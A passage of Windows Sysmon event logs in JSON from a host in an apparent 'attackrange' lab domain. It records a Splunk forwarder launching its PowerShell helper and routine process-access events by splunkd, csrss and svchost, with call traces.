ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.850","ProcessGuid":"{90617006-402B-5F2D-0000-0010988B0400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2696,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-402B-5F2D-0000-0010988B0400}\r\nTargetProcessId: 4416\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-402B-5F2D-0000-0010988B0400}","TargetProcessId":"4416","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2697,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-402B-5F2D-0000-0010988B0400}\r\nTargetProcessId: 4416\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-402B-5F2D-0000-0010988B0400}","TargetProcessId":"4416","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2698,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2699,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2700,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2701,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2702,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:07.849\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:07.849","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 